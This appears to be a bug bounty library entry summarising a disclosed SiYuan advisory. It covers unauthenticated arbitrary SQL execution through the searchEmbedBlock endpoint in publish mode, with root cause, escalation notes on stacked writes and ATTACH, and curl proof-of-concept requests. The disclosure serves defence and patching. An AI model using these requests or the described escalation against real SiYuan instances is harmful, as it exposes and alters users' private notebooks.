# SiYuan: Unauthenticated arbitrary SQL execution via searchEmbedBlock (publish mode) : reader-reachable raw statement on read-write handle, cross-notebook read/write

SiYuan's /api/search/searchEmbedBlock passes reader-supplied SQL verbatim to the read-write siyuan.db handle, letting anonymous publish-mode users read and write all cleartext notebooks.

- Payout: Research
- Severity: critical
- Program: SiYuan
- Found by (vendor credit): Shirshakhtml
- Found by: Shirshakhtml
- Disclosed: 2026-09-03
- CVE: CVE-2026-69084
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-vh22-h7hf-www7
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-vh22-h7hf-www7
- Tags: area:web domain:api domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:sqli

**Target:** HTTP API endpoint /api/search/searchEmbedBlock on publish port 6808
**Root cause:** searchEmbedBlock takes a full client-supplied SQL statement and passes it to db.Query on the global read-write siyuan.db handle without CheckSingleStatement, CheckReadonlyStatement, or an admin-role gate, unlike sibling SQL endpoints.
**Steps:**
1. Enable publish on port 6808 with auth disabled: `POST /api/setting/setPublish` with `{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}`
2. Confirm guarded sibling rejects reader SQL: `POST http://127.0.0.1:6808/api/search/fullTextSearchBlock` with `{"query":"SELECT * FROM blocks LIMIT 1","method":2}` returns "SQL search requires administrator privileges"
3. Send same SQL to unguarded endpoint anonymously: `POST http://127.0.0.1:6808/api/search/searchEmbedBlock` with `{"embedBlockID":"","stmt":"SELECT * FROM blocks LIMIT 1","excludeIDs":[]}` returns HTTP 200 code:0
**How found:** Compared searchEmbedBlock against sibling SQL endpoints (/api/query/sql and fullTextSearchBlock) and noticed the missing CheckSingleStatement/CheckReadonlyStatement/admin-role guards, then traced the data flow to db.Query on the global handle and confirmed the differential with a reader-tier request.
**Exploitation:** Anonymous reader on the publish port submits an arbitrary SQL statement; the vendored go-sqlite3 driver loops over `;`-separated statements on the read-write handle, so stacked writes and ATTACH execute before the post-hoc FilterEmbedBlocksByPublishAccess row filter runs.
**Escalation:** Statement stacking plus ATTACH on the read-write handle extends read disclosure to database modification and ATTACH-reachable files; code execution not reachable in default build (no load_extension).
**Insight:** When an endpoint accepts a full SQL statement by design, diff its guard set against sibling SQL endpoints in the same router; a post-query row filter is not a security boundary because side effects (writes, ATTACH) already happened.

## Proof of concept (copied exactly from the original report)

**Anonymous reader SQL accepted by searchEmbedBlock**

```
curl -i -X POST http://127.0.0.1:6808/api/search/searchEmbedBlock -H "Content-Type: application/json" -d "{\"embedBlockID\":\"\",\"stmt\":\"SELECT * FROM blocks LIMIT 1\",\"excludeIDs\":[]}"`
→ HTTP 200 / code:0 : arbitrary SQL executed at the anonymous reader tier. This pair is the finding.
```

**Guarded sibling endpoint rejects reader SQL**

```
curl -i -X POST http://127.0.0.1:6808/api/search/fullTextSearchBlock -H "Content-Type: application/json" -d "{\"query\":\"SELECT * FROM blocks LIMIT 1\",\"method\":2}"`

→ -1 / "SQL search requires administrator privileges"
```

**Enable publish with auth disabled**

```
curl -s -X POST http://127.0.0.1:6806/api/setting/setPublish -H "Content-Type: application/json" -H "Authorization: Token TOKEN" -d "{\"enable\":true,\"port\":6808,\"auth\":{\"enable\":false,\"accounts\":[]}}"`

Must return "data":{"port":6808,...} (non-zero port = bound OK). Port 6808, not 6806.
```

